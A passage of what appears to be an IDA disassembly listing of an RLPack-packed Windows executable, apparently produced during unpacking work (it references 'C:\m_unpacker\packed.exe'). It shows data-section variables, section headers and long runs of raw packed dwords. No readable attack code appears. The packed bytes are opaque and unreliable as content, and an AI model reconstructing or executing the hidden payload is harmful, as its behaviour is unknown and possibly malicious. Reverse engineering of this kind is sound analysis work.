0 ; DATA XREF: sub_4157BA+3F9w ; sub_4157BA+42Aw word_4CF1B6 dw 0 ; DATA XREF: sub_4157BA+32Ew word_4CF1B8 dw 0 ; DATA XREF: sub_4157BA+360w ; sub_4157BA+432o word_4CF1BA dw 0 ; DATA XREF: sub_4157BA+36Fw ; sub_4157BA+409w dword_4CF1BC dd 0 ; DATA XREF: sub_4157BA+369w dd 2 dup(0) dword_4CF1C8 dd 0 ; DATA XREF: sub_4157BA+39Fw ; sub_4157BA+417o dword_4CF1CC dd 0 ; DATA XREF: sub_4157BA+33Bw byte_4CF1D0 db 0 ; DATA XREF: sub_4157BA+341w byte_4CF1D1 db 0 ; DATA XREF: sub_4157BA+347w word_4CF1D2 dw 0 ; DATA XREF: sub_4157BA+354w dword_4CF1D4 dd 7 dup(0) ; DATA XREF: sub_4157BA+3EDo dword_4CF1F0 dd 0 ; DATA XREF: sub_4157BA+30w ; sub_4157BA+43Br dword_4CF1F4 dd 100h dup(0) ; DATA XREF: sub_4157BA+1C3o ; sub_4157BA+47Eo dword_4CF5F4 dd 1000h dup(0) ; DATA XREF: sub_415D38+1Do ; sub_415DD8o ... dword_4D35F4 dd 0 ; DATA XREF: sub_415D38+13o ; sub_415DD8+Eo ... dword_4D35F8 dd 0Eh dup(0) ; DATA XREF: sub_416CC9+Fo dword_4D3630 dd 80h dup(0) ; DATA XREF: sub_417990+41o dword_4D3830 dd 200h dup(0) ; DATA XREF: sub_4172C1+C7o ; sub_41761C+DDo ... dword_4D4030 dd 48h dup(0) ; DATA XREF: sub_4172C1+D6o ; sub_41761C+F4o ... db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: .packed:off_4383A8o dd 1B7h dup(0) dword_4D4830 dd 0 ; DATA XREF: sub_4172C1+86w ; sub_417493+94r dword_4D4834 dd 0 ; DATA XREF: sub_4172C1+A7w ; sub_4178F9+55r ... dword_4D4838 dd 0 ; DATA XREF: sub_4172C1+A0w ; sub_417493+D6r ... dword_4D483C dd 0 ; DATA XREF: sub_4172C1+79w ; sub_417493+35r ... dword_4D4840 dd 80h dup(0) ; DATA XREF: sub_4178F9+5Eo dword_4D4A40 dd 0 ; DATA XREF: sub_4172C1+93w ; sub_417493+A2r align 8 dword_4D4A48 dd 0 ; DATA XREF: sub_4172C1+E7o ; sub_4172C1+103r ... dword_4D4A4C dd 0 ; DATA XREF: sub_41761C+17Bw ; sub_4177C3+107w dword_4D4A50 dd 0 ; DATA XREF: sub_41761C+180w ; sub_4177C3+10Dw ... dword_4D4A54 dd 0 ; DATA XREF: sub_41761C+159w ; sub_4178F9+4Fr dword_4D4A58 dd 0 ; DATA XREF: sub_417C61+22w ; sub_417C61:loc_417DE6w ... dword_4D4A5C dd 0 ; DATA XREF: sub_401ACD+3C95o ; sub_417B2F+12o ... dd 0 dword_4D4A64 dd 0 ; DATA XREF: sub_417C61+1Cr ; sub_417E06+3Ar dd 7Fh dup(0) dword_4D4C64 dd 0 ; DATA XREF: sub_417C61+28r ; sub_417E06+4Aw dd 1944h dup(0) dword_4DB178 dd 0 ; DATA XREF: sub_417E06+23o dword_4DB17C dd 81h dup(0) ; DATA XREF: sub_401ACD+3CB9o ; sub_417B2F+3Co ... dword_4DB380 dd 17h dup(0) ; DATA XREF: sub_418D2A:loc_418E47o ; sub_418D2A+131o ... dword_4DB3DC dd 80h dup(0) ; DATA XREF: sub_419AE0+7Co ; sub_419AE0+A5o dword_4DB5DC dd 0 ; DATA XREF: sub_4190A5+45w ; sub_4190A5+4Dr ... dword_4DB5E0 dd 17h dup(0) ; DATA XREF: sub_4199AC:loc_419ACEo ; sub_4199AC+12Do dword_4DB63C dd 80h dup(0) ; DATA XREF: sub_418FE5+4Co ; sub_418FE5+7Eo ... byte_4DB83C db 0 ; DATA XREF: sub_4190A5+29r ; sub_4190A5+34w align 10h dword_4DB840 dd 80h dup(0) ; DATA XREF: sub_4192FC+61o ; sub_4192FC+89o ... dword_4DBA40 dd 81h dup(0) ; DATA XREF: sub_418C0E:loc_418C46o ; sub_418C0E+5Bo dword_4DBC44 dd 0 ; DATA XREF: sub_419F6D:loc_419F8Er ; sub_41A05C+54r ... dword_4DBC48 dd 0 ; DATA XREF: sub_419F6Dr ; sub_41A05C+37r ... dword_4DBC4C dd 0 ; DATA XREF: sub_419F9D+1Ar ; sub_41A1B1+83o dword_4DBC50 dd 0 ; DATA XREF: sub_419F6D:loc_419F81r ; sub_41A1B1+11Bw dword_4DBC54 dd 0Dh dup(0) ; DATA XREF: sub_41A05C+13o ; sub_41A1B1:loc_41A2EEo dword_4DBC88 dd 0 ; DATA XREF: sub_41A05C+CDr ; sub_41A05C+ECr ... align 10h dword_4DBC90 dd 0Fh dup(0) ; DATA XREF: sub_41ADD8+47o byte_4DBCCC db 0 ; DATA XREF: sub_41B52C+6o ; .packed:0041B881o ... align 10h dd 3Fh dup(0) dword_4DBDCC dd 2 dup(0) ; DATA XREF: sub_41B55B+18o dword_4DBDD4 dd 2 dup(0) ; DATA XREF: sub_41B55B+8o ; .packed:0041B6CAo dword_4DBDDC dd 0 ; DATA XREF: sub_41C59D+1B9w ; sub_41DA8B:loc_41DB07w ... dword_4DBDE0 dd 0 ; DATA XREF: sub_41DC5E+35w ; sub_41E312:loc_41E3ACw ... dword_4DBDE4 dd 0 ; DATA XREF: sub_42423B+13Ar dword_4DBDE8 dd 0A28h ; DATA XREF: .packed:0041E225w dword_4DBDEC dd 501h ; DATA XREF: .packed:0041E21Cw dword_4DBDF0 dd 5 ; DATA XREF: .packed:0041E211w dword_4DBDF4 dd 1 ; DATA XREF: .packed:0041E203w dword_4DBDF8 dd 1 ; DATA XREF: sub_401221:loc_401516r ; sub_42378C+91w dword_4DBDFC dd 360B20h ; DATA XREF: sub_401221+2FEr ; sub_401221+31Er ... dd 0 dword_4DBE04 dd 360B48h ; DATA XREF: sub_4236D3+44w dd 3 dup(0) off_4DBE14 dd offset aCM_unpackerPac ; DATA XREF: sub_42378C+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4DBE1C db 0 ; DATA XREF: sub_41C1B3+2Dw ; sub_4241E3+5r align 10h dword_4DBE20 dd 0 ; DATA XREF: sub_41C1B3+27w dword_4DBE24 dd 0 ; DATA XREF: sub_41C1B3+4r ; sub_41C1B3+8Bw dword_4DBE28 dd 0 ; DATA XREF: sub_41CAD4+3Br ; sub_41CAD4+91w align 10h dword_4DBE30 dd 0 ; DATA XREF: sub_41D124+Aw dword_4DBE34 dd 0 ; DATA XREF: .packed:0041E257w ; sub_4236D3:loc_4236E5r ... dd 0 dword_4DBE3C dd 0 ; DATA XREF: sub_41E2C9r sub_41E2EEr ... dword_4DBE40 dd 0 ; DATA XREF: sub_41F3B0+4Bw ; sub_41F4C9+2Dw ... dword_4DBE44 dd 0 ; DATA XREF: sub_41FBB2r dword_4DBE48 dd 0 ; DATA XREF: sub_41BBE2:loc_41BCFEr ; sub_41BBE2:loc_41BE1Fr ... dword_4DBE4C dd 1 ; DATA XREF: sub_420749:loc_4208C4r ; sub_4208E2+4w ... dword_4DBE50 dd 0 ; DATA XREF: sub_420CE6+37r align 8 dword_4DBE58 dd 0 ; DATA XREF: sub_422279+11r ; sub_42237D+1Ar ... byte_4DBE5C db 0 ; DATA XREF: sub_422279+3r ; sub_422279+98r ... align 10h dword_4DBE60 dd 0 ; DATA XREF: sub_42237D+11r ; sub_42245B+21w ... byte_4DBE64 db 0 ; DATA XREF: sub_42245B+51w align 4 dword_4DBE68 dd 0 ; DATA XREF: sub_422651+4Er ; sub_422A2C+3Ar ... dword_4DBE6C dd 0 ; DATA XREF: sub_422651+5Cr ; sub_422A2C+43r ... dword_4DBE70 dd 0 ; DATA XREF: sub_41D3AA+7Ar ; sub_4227F8+5r dword_4DBE74 dd 0 ; DATA XREF: sub_422DFC+29r dword_4DBE78 dd 1 ; DATA XREF: sub_4232A8+28r ; sub_4232A8+4Cw ... dd 2 dup(0) dword_4DBE84 dd 0 ; DATA XREF: sub_41DE4A+4r ; sub_41DE4A+6Er ... dd 3 dup(0) dword_4DBE94 dd 0 ; DATA XREF: sub_41E0D4+61r ; sub_41E0D4+BFr ... dd 0 dword_4DBE9C dd 0 ; DATA XREF: sub_4234F7+3Ar ; sub_4234F7+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_42378C:loc_4237A3o ; .packed:off_4DBE14o align 4 dd 3Ah dup(0) dword_4DBFA4 dd 1 ; DATA XREF: sub_4239D9+2r ; sub_4239D9+23w ... dword_4DBFA8 dd 0 ; DATA XREF: sub_423D98+21r dword_4DBFAC dd 0 ; DATA XREF: sub_41FBCD+154w ; sub_420CE6:loc_420D0Fw ... dword_4DBFB0 dd 0 ; DATA XREF: sub_41FBCD+7r dword_4DBFB4 dd 1 ; DATA XREF: sub_4244F4+26r ; sub_4244F4:loc_42455Ew word_4DBFB8 dw 0 ; DATA XREF: sub_424DF9+1Ao ; sub_424DF9+46r byte_4DBFBA db 0 ; DATA XREF: sub_424DF9+39r align 4 dword_4DBFBC dd 7 dup(0) ; DATA XREF: sub_424DF9+52o dword_4DBFD8 dd 0 ; DATA XREF: sub_424DF9+40w ; sub_424DF9+5Co dword_4DBFDC dd 0 ; DATA XREF: sub_424DF9+4Dw dword_4DBFE0 dd 0 ; DATA XREF: sub_424DF9+31w dword_4DBFE4 dd 0 ; DATA XREF: sub_424DF9+52w dword_4DBFE8 dd 77C26E79h ; DATA XREF: sub_424F1C:loc_424F3Fr ; sub_424F1C+38r ... dword_4DBFEC dd 0 ; DATA XREF: sub_425029+3r ; sub_425029+2Ew ... dword_4DBFF0 dd 0 ; DATA XREF: sub_425029+43w ; sub_425029:loc_425078r dword_4DBFF4 dd 0 ; DATA XREF: sub_425029+4Aw ; sub_425029+60r dword_4DBFF8 dd 0 ; DATA XREF: sub_42423B+3Fr dword_4DBFFC dd 0 ; DATA XREF: sub_425C06:loc_425C6Dr ; sub_425C06+6Do dword_4DC000 dd 0 ; DATA XREF: sub_425C06:loc_425C44r ; sub_425C06+44o dword_4DC004 dd 0 ; DATA XREF: sub_425C06:loc_425C37r ; sub_425C06+37o dword_4DC008 dd 0 ; DATA XREF: sub_425C06:loc_425C51r ; sub_425C06+51o align 10h dword_4DC010 dd 0 ; DATA XREF: sub_426636+28r ; sub_426636+4Cw ... dword_4DC014 dd 0 ; DATA XREF: sub_4268C1+26r ; sub_4268C1:loc_42692Bw byte_4DC018 db 1 ; DATA XREF: sub_40DB3Cr sub_40DB3C+9w align 4 dword_4DC01C dd 361110h ; DATA XREF: sub_41E490:loc_41E4A1r ; sub_41FD3D+14r ... dword_4DC020 dd 400h dup(0) ; DATA XREF: .packed:off_43D568o ; .packed:0043D570o dword_4DD020 dd 200h ; DATA XREF: sub_41E490+9r ; sub_41E490+56r ... dd 7 dup(0) dword_4DD040 dd 360650h ; DATA XREF: sub_41F8E3+75r ; sub_41F9BC+2Ar ... dword_4DD044 dd 3Fh dup(0) ; DATA XREF: sub_423B0B+92o dword_4DD140 dd 20h ; DATA XREF: sub_41E312+8r ; sub_41F9BC+Cr ... dword_4DD144 dd 4E4h ; DATA XREF: sub_420749+14r ; sub_420749+65w ... align 10h dword_4DD150 dd 3 dup(0) ; DATA XREF: sub_420749+123o ; sub_420749+171o ... dword_4DD15C dd 0 ; DATA XREF: sub_420749+108w ; sub_420749+15Dw ... byte_4DD160 db 0 ; DATA XREF: sub_420988:loc_420A94w ; sub_420988:loc_420AB1w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4DD260 db 0 ; DATA XREF: sub_420749+5Co ; sub_420749+AFo ... byte_4DD261 db 0 ; DATA XREF: sub_41C3B1+5Dr ; sub_420749+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4DD364 dd 0 ; DATA XREF: sub_420749+6Ew ; sub_420749+12Bw ... dword_4DD368 dd 0 ; DATA XREF: sub_41E6CF+3Cw ; sub_41ED74+5r ... dword_4DD36C dd 0 ; DATA XREF: sub_41E742+23Ar ; sub_41E742+25Ar ... dword_4DD370 dd 0 ; DATA XREF: sub_41E6CF+31w ; sub_41E742+311w ... dword_4DD374 dd 0 ; DATA XREF: sub_41E6CF+21w ; sub_41E742+22Dr ... dword_4DD378 dd 0 ; DATA XREF: sub_41E6CF+28w ; sub_41E717r ... dword_4DD37C dd 0 ; DATA XREF: sub_41E6CF+15w ; sub_41E717+8r ... dword_4DD380 dd 0 ; DATA XREF: sub_41BBE2+5Cr ; sub_41BEF3+Fr ... dword_4DD384 dd 360000h ; DATA XREF: sub_41BA91+5Ar ; sub_41BBE2+C0r ... dword_4DD388 dd 1 ; DATA XREF: sub_41BA91+Cr ; sub_41BBE2:loc_41BC12r ... dword_4DD38C dd 142340h ; DATA XREF: .packed:0041E24Dw ; sub_42367B+Fr ... dword_4DD390 dd 1 ; DATA XREF: sub_4236D3+ADw dword_4DD394 dd 1 ; DATA XREF: sub_420B0Dr ; sub_420B0D+11w ... dword_4DD398 dd 36075Ch ; DATA XREF: sub_41C1B3+3Er ; sub_41D9B3+13r ... dword_4DD39C dd 360758h ; DATA XREF: sub_41C1B3+35r ; sub_41C1B3+57r ... dd 318h dup(0) dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 7FAh dup(0) _packed ends ; Section 2. (virtual address 000E0000) ; Virtual size : 00020CD7 ( 134359.) ; Section size in file : 00020CD7 ( 134359.) ; Offset to raw data for section: 000E0000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _RLPack segment para public 'CODE' use32 assume cs:_RLPack ;org 4E0000h assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing dd 0EC8B0055h, 57565351h, 903850BFh, 0F6330342h, 79124BBh dd 0FC458D0Eh, 6847FE56h, 0F0F073Fh, 77FF0218h, 37750473h dd 0B988150Eh, 7539004Ch, 0FB1C7408h, 11E80A80h, 59C0A901h dd 6A155067h, 32535693h, 0F83EFC0Eh, 910AEB22h, 4814380Ch dd 8383B009h, 0EB8108C7h, 72BB0068h, 5B5E5FA8h, 8B0EC3C9h dd 8E082444h, 56048054h, 1FFCE83h, 2574C085h, 0BD8D5753h dd 2C07060h, 0DE8B028Ah, 1DC17223h, 58C333D9h, 850444EEh dd 9172202Ah, 4F07F074h, 5B5FE675h, 0F75EC6F0h, 0A7C350D0h dd 57DB3A33h, 0B5AEFBE0h, 245004C7h, 7477FF54h, 0F08B1414h dd 8FA23B12h, 0FC8559F8h, 0F62A74C0h, 1B100C47h, 58432875h dd 0E2AB2D1Bh, 0F62C203Ah, 0A9571428h, 1E448D0Ch, 0C0500CFFh dd 83FAAA2Fh, 0EB0E10C4h, 85C033D6h, 28194B1Bh, 8BD870F8h dd 9119A0D8h, 3B06A157h, 0C38B3F8Ah, 1D49BAAEh, 5C1A8139h dd 22A04202h, 0E91C35FFh, 15E44361h, 0D546BA6Ch, 83A53169h dd 4B92C16h, 1D8B0620h, 8F705080h, 32647E6Ah, 10CA33D3h dd 57F04140h, 70AF69A0h, 18C244F8h, 9B565EACh, 18B00F0Eh dd 0BEE77589h, 8DA2BC04h, 0FDA4850Eh, 670032FFh, 88B845C7h dd 0EAED9DBh, 62BB8D8h, 0DC7D8966h, 977C6CA2h, 0FE42A840h dd 78EAEE6Fh, 0BDA4370Fh, 3793FE95h, 286A2C14h, 24A475CBh dd 8A7408F9h, 25144EA5h, 0F07B0182h, 0BD70358Bh, 16D6B323h dd 60A7DF4h, 80C71045h, 0A8EBBDB0h, 241A59D3h, 8319A364h dd 2208C498h, 0E9896C71h, 2D040E9h, 98DB680Ah, 539A92Eh dd 1DFA0C2h, 1059D17Bh, 76B710A3h, 88080493h, 807EA809h dd 655D89C9h, 1F406F8h, 111DFCAFh, 65E52240h, 4E1D35E0h dd 72589CAh, 18B0F032h, 0B918D233h, 0F71E03E8h, 14A336F1h dd 0FF842089h, 59B8B212h, 9893741h, 0EE92026Ah, 68444380h dd 0DF247530h, 539CC6A4h, 32AC2473h, 0A80E5071h, 4A023D22h dd 8C5B440Bh, 7CE6809Fh, 685080F7h, 64870249h, 6D904424h dd 2A0FC33Bh, 28A72985h, 641ABD80h, 54161A02h, 338A3CCEh dd 223C1F7Dh, 66AE0621h, 29FC1021h, 0FD144254h, 0A4DF2313h dd 1B167815h, 11C1FB10h, 29F90C0Eh, 0D23B2553h, 0B1B312B2h dd 1F6B251Fh, 9AC86841h, 0FAC63247h, 60238991h, 92F26349h dd 0E0E81937h, 101C6C92h, 0B82A868Ch, 1D391581h, 0BE16E18Ch dd 74564408h, 0FFBFC231h, 83763AC6h, 2893044Ch, 0C20F2B23h dd 61991A6Ah, 8056F9F7h, 508861E4h, 0AE472597h, 0F83B0A21h dd 53BFDD72h, 0FE181010h, 0F9C0681Ah, 0A666224h, 0C4481410h dd 8316A091h, 120A0AF8h, 0EC806626h, 9C45DB84h, 42988F43h dd 532B180Dh, 693399A3h, 759F43D6h, 94151018h, 0F4FB3B3Bh dd 207CC329h, 0A730574h, 74901FF4h, 98685F09h, 8068113Ah dd 2977395Fh, 0A274C7EBh, 0E0771483h, 6A850D59h, 886C3407h dd 5342E0F6h, 381C85C6h, 53F930E5h, 12B51487h, 2885C70Dh dd 48F2220Dh, 4C9D1BEBh, 5EE43217h, 8C2C4834h, 77CB8A90h dd 8010FC2Ah, 0A1718C42h, 0FF5D5178h, 0F6780F88h, 1EB46809h dd 0E9146F06h, 0E49D6C94h, 8653E589h, 2B84EC1Bh, 0B425FAD4h dd 902820DCh, 0DE4AE1C0h, 0E02CBD48h, 0A6E47127h, 53C4C90Ah dd 0B8375D8h, 4DBDF83Dh, 437E1400h, 11C3FCA1h, 1C0470FFh dd 6E59B1E3h, 126A124Fh, 0FA6668Fh, 204014EDh, 74085839h dd 0D0681519h, 35905B07h, 881C08CCh, 9004418Ah, 10E67413h dd 13F7A44Dh, 3F620D75h, 0E178E450h, 0AA604624h, 0D57588BDh dd 12495359h, 0A32082DEh, 20D92BAh, 41384D1Ah, 53020BDAh dd 3DAAF7E2h, 3224E555h, 1E15743Eh, 2A3FE96Ah, 91B38322h dd 4273843Dh, 301CF824h, 419F4D7Ch, 0D70270B1h, 0CA34F669h dd 894A6050h, 0D6245D86h, 621B7513h, 5199500Eh, 0CA642334h dd 63D2840Ch, 0A6B13ABDh, 394C59A4h, 2D6C7594h, 0F97E08CAh dd 78450F02h, 0BFDD641h, 0D4E1784Ah, 59CB0F99h, 837F2E30h dd 703E02Ch, 5D759010h, 0A30E581Ch, 30B2B888h, 6CA1D00Bh dd 3F6A29C1h, 2DB69CBFh, 5715198Ah, 981C6CA3h, 84DCBE2Eh dd 0AA5612EBh, 89863912h, 0B041701Dh, 68FC1BCAh, 1C2A3918h dd 7E02E84h, 3F07ED58h, 0F0450202h, 49BE840Fh, 1750399Dh dd 6FFF0374h, 0B294E4Dh, 0FCB03896h, 8C7D8339h, 0CC57C06h dd 520264F0h, 0F45D2095h, 9D405174h, 95469A0Eh, 1FB99090h dd 807A6B8Bh, 38FC067Fh, 2FE46C1Dh, 429167A2h, 0F1D89837h dd 85F81870h, 7891086Eh, 0F44B45C7h, 4A504751h, 25FA438h dd 5BC0335Eh, 58C2C2C9h, 906FCCE4h, 8450047h, 996A5756h dd 0BD8D05D1h, 0F3239070h, 8034C7A5h, 3E123160h, 85D7C089h dd 0C1ABA8Ah, 0E909AC66h, 9A592FAFh, 0B9C714D4h, 9B81F2F4h dd 0C00DFE74h, 0B9AF098h, 0B8F424CAh, 203BF214h, 9BD4421Ch dd 0FF1B0910h, 0A8CBA035h, 8DB49CB3h, 849EC0DAh, 0FAF88B30h dd 99C069CCh, 1B6A0207h, 6682805h, 0C0AE5057h, 6726AFAh dd 22202DF3h, 149B8254h, 89100D28h, 2D531CB0h, 27784D06h dd 357AB7Ch, 0E41C75F2h, 998B8EE2h, 0FF887F34h, 0A3AE1208h dd 9E582ED2h, 0CAAC4DBFh, 6D14C860h, 3419F60Fh, 70B5F217h dd 1C324571h, 0C81C89F4h, 0AA55090Fh, 5EA7088Bh, 0DC7A8567h dd 8037E91Ah, 775014Ch, 0BBA01C68h, 98EB0C0Dh, 742A0218h dd 459C6709h, 0CCB40C19h, 0D6A66D85h, 58BB0959h, 10686B0Ah dd 90B88204h, 1349711Ah, 333CD0B5h, 34E6ADBh, 40C83A18h dd 885980FDh, 21051825h, 0F67549A5h, 64E6F421h, 68152862h dd 51499807h, 5E3CAB9Bh, 2388099Ch, 6216782Dh, 4D354CDFh dd 6539944Fh, 289D1026h, 0EC683589h, 342C074Dh, 2699795Ah dd 299ED3Ah, 2D2A24C3h, 1CED1B47h, 2468D118h, 522A1388h dd 94E4BE09h, 104EBE70h, 0E5702C44h, 0CB22857h, 0BE8211A4h dd 0B9EC4810h, 7EEB8382h, 0F52D34CDh, 21D24B9h, 59CC742Ch dd 344CFC2h, 7E264E9Ah, 1F204FB5h, 6ACBD6B8h, 49FB2924h dd 7426C0BCh, 930CFB41h, 20BDAB20h, 0C501006h, 0DAA83757h dd 2C80CD0Ah, 9EF9048h, 0D7EF33Bh, 0EB01C61Eh, 0FDFE83BDh dd 0ABB2574h, 521C4175h, 0FA924F85h, 4C77D68h, 3B0C8B66h dd 997C1BE0h, 0D8EE7BE9h, 7902EB24h, 0FF0919B1h, 8C107822h dd 0D808B456h, 0F37D2A02h, 403CFC91h, 54F0C7DBh, 9A8489D3h dd 99F0FBD3h, 1BA75C9Dh, 9AFCD111h, 4C433818h, 5C1B63B7h dd 3513FCC8h, 98291875h, 8E1C1E6h, 4478041h, 74956EB1h dd 656A27BDh, 0E224E56h, 2BCAA856h, 68411048h, 9C27CDC4h dd 0A117E024h, 2402AA24h, 0CC32B108h, 0C068BE50h, 0C4491145h dd 0D4BA3147h, 218934CAh, 41EDA853h, 2822744Eh, 541F2558h dd 204491A9h, 59072A89h, 173CD0F9h, 0EA750A7Ah, 282CB58Bh dd 0B1968132h, 9D39CE51h, 44183446h, 3CE168A5h, 0C2A089F8h dd 4CB9E00h, 1F6AEC4Dh, 8BDEE05Ah, 74AC20E7h, 38802603h dd 0A129752Dh, 0A3200258h, 70BE000Fh, 0C6198901h, 30A33584h dd 875624D5h, 0BC58279Fh, 4A000206h, 3B04E983h, 16CC7DD3h dd 82139D38h, 0C1637458h, 1621F8DBh, 2706120Eh, 80FCE035h dd 35F60A3Eh, 0DADEABB8h, 0D5C8F195h, 0C1462C02h, 10EC1715h dd 21A4FF3Ch, 54BC680Ch, 20EB28F2h, 0B47F567Fh, 25BF97B1h dd 404B9150h, 0C2088661h, 4F7AC3C6h, 3549A868h, 0D4064C1Eh dd 0BE282AE9h, 0F183904h dd 0B94BF85h, 52683A98h, 55D32198h, 0D0AF914h, 0B2408B6Ah dd 0A03494AEh, 837AF611h, 0C4902A23h, 348C32E1h, 1527752Ch dd 0B5395620h, 0D406CC7Ch, 80D448B9h, 68404D74h, 4A4EB49Fh dd 8CCB2129h, 847039EBh, 53328B8Dh, 3392E1B4h, 174CAA99h dd 0A9785668h, 0C78B0ADEh, 780F8EABh, 0DE0315F6h, 0BFCB8749h dd 41B20992h, 57147BC2h, 5C440A64h, 324E25Fh, 75C2F5F7h dd 46E494D9h, 0D51ADD70h, 4554024Bh, 3851822Ch, 83E1861Eh dd 4A97A511h, 0B1856885h, 30677466h, 0C28B7C2Fh, 9CEFB25Fh dd 527D86ACh, 881F1247h, 0C737EC1Eh, 0E6CD8468h, 52149096h dd 406885E2h, 1B0DE43Dh, 5196B12Ch, 5078BA95h, 0D06AA02Ch dd 1F956A51h, 0F8C9B843h, 0E3AAD232h, 188989D5h, 29A8D736h dd 0EAA16032h, 2E3D1E38h, 0A278E945h, 4050F093h, 988408F1h dd 402C4862h, 13A43AB8h, 8D216A29h, 0B090B90Bh, 6C7424A1h dd 7E5AC023h, 6C60219h, 0A84C4740h, 0DB9049B8h, 49095728h dd 8D51B4A0h, 154D7058h, 0E0AC7508h, 542C2E95h, 552C1DFCh dd 2852BB4Fh, 0F6A12B0h, 94D5A1D1h, 26B34462h, 7D8BA200h dd 38F63320h, 13742B1Fh, 0B0579093h, 28461474h, 0B060C781h dd 7C0316CBh, 588A09DDh, 0A7877944h, 0E1740841h, 0BBD8C828h dd 0AA9F88Bh, 0FDC3DE03h, 77A17EF3h, 0C16974C8h, 3307E632h dd 68014003h, 5A1E9230h, 10787156h, 55346DBAh, 69435C4Ah dd 0EB090E9Eh, 28430498h, 93F37468h, 0F8792022h, 1216B20Ah dd 3CFC34FFh, 96874DB1h, 68A061DEh, 8991271Ch, 80C31988h dd 4452EDA1h, 0C7D19309h, 411AEA87h, 38CCFC68h, 0CB87868Fh dd 0BA20542Ch, 61C2488h, 5B38E947h, 2485CCDCh, 6E1AD23Dh dd 82B8BC16h, 0C69251BEh, 273249C4h, 132C518Bh, 0C3806640h dd 348D0E29h, 0A3D4BE0Dh, 0BF3D0927h, 48CA19E8h, 79DC6850h dd 0C8624C26h, 0C5D0CC56h, 0F5A47534h, 4687B488h, 26841928h dd 0F23C565Ch, 4ED9A870h, 5A2C26F3h, 5C7C6499h, 6A8045C1h dd 0A4338904h, 54D8085Eh, 209F6A0h, 4435848Bh, 7BC55DAh dd 50C0B403h, 0A510E8EDh, 3B28C79h, 3553B4AFh, 0C2B82394h dd 4429025Eh, 2BD0CFAAh, 5E402795h, 4FA5EFBFh, 2E41B61h dd 9B9CC757h, 45222168h, 9817867Ch, 0BE80FCE8h, 389648BDh dd 88A1E620h, 60128B0Ch, 0B0F714E4h, 808AA827h, 0ECAC94E5h dd 8ECCFC3Ch, 0A908421Ch, 0C03F82Ah, 215024CCh, 0A2B9946Dh dd 53521684h, 1A6A1712h, 8191F59Dh, 0B3894B04h, 98806B14h dd 0BC656368h, 0F41545FFh, 8D508B8Ah, 0C95F691Fh, 12810962h dd 13EDC02h, 0E610E890h, 40468588h, 324F6A60h, 45EA0762h dd 7754270h, 5C347F5Eh, 0FF782F04h, 0E9AE8447h, 0CC4AF75Ah dd 5B78C048h, 5745316h, 0AAFCBC0Eh, 95CAEA0Ch, 22FB33CBh dd 23FF7B66h, 671E48B2h, 3354184Ah, 794DF4E3h, 1B2A79Dh dd 0F16EB5C2h, 2E70B84Ch, 0F78320F0h, 0B9F61BDEh, 0D82604C6h dd 8B06EB0Ah, 0BC27BB08h, 3FB8B19h, 576B0926h, 0C03C7468h dd 49FDFC32h, 807C808Dh, 2F742339h, 0B4A9A11Ch, 6020DED0h dd 0F0386091h, 6851500Ch, 0C3CC5826h, 3CFA78EDh, 0A68408E9h dd 0F40F97FFh, 734BB12Ah, 0C8A21E22h, 0FB52387Fh, 1074264Bh dd 0CF72C5CBh, 32276B9Dh, 31695948h, 0B9A2669Ch, 72893C59h dd 237994DEh, 3467CBB0h, 19DE73A8h, 441B6A25h, 0E01C89FBh dd 6727DF65h, 0D554A463h, 928F7B48h, 0EC11712Bh, 0D54CC4D6h dd 0D6426C6Ch, 1DD6F4A1h, 231359CFh, 32CB90E1h, 141BA26Ah dd 42F01840h, 0D54C84D6h, 68600437h, 0A1D642F0h, 0D5411674h dd 914D6FCh, 66B65DC5h, 58473EAEh, 118611D6h, 1DCAF4E1h dd 8D59013Bh, 0C08A0148h, 945D053Ah, 0F891833h, 0A9FA24A6h dd 0C8203FC7h, 8947C2F0h, 7579107Dh, 301970E4h, 152C14ECh dd 63B08ACCh, 92B91A75h, 2241A2F1h, 1291305Dh, 0BF332699h dd 94CC1D05h, 9E8E9DD0h, 5618201h, 0B572F28h, 9CABF327h dd 811532DBh, 9F48B830h, 3D503B47h, 0DF547C2Ch, 0F4C517ABh dd 5CF6CDC4h, 0FADC664Eh, 0D0C1784Eh, 0BA480D8Ah, 3140F369h dd 0A4024888h, 312C10Fh, 0A7A88F8Dh, 83FD10B7h, 510427C0h dd 354444B0h, 6465B05Dh, 78E20FF1h, 0ADF11434h, 0CAE484B8h dd 0B47B7829h, 14880BEDh, 8B427406h, 0ED394C5Ah, 878D3B0Ah dd 65B349B2h, 43F44599h, 330D64ADh, 5CFC70FFh, 6775D1F2h dd 7B441A50h, 0EBE96C67h, 7589425Ah, 49617934h, 6247452Bh dd 881A0C20h, 150D6E9Dh, 0CE181F3Dh, 6DC2284Dh, 47420414h dd 498FB803h, 44C83942h, 8B8810C5h, 11C4A7F8h, 2F19F8E0h dd 3B05078Bh, 409D2F13h, 5FA0EF60h, 0C70BB27Fh, 46FD3885h dd 911C92B7h, 0E5854919h, 505EF239h, 35D8F173h, 0C8B1872h dd 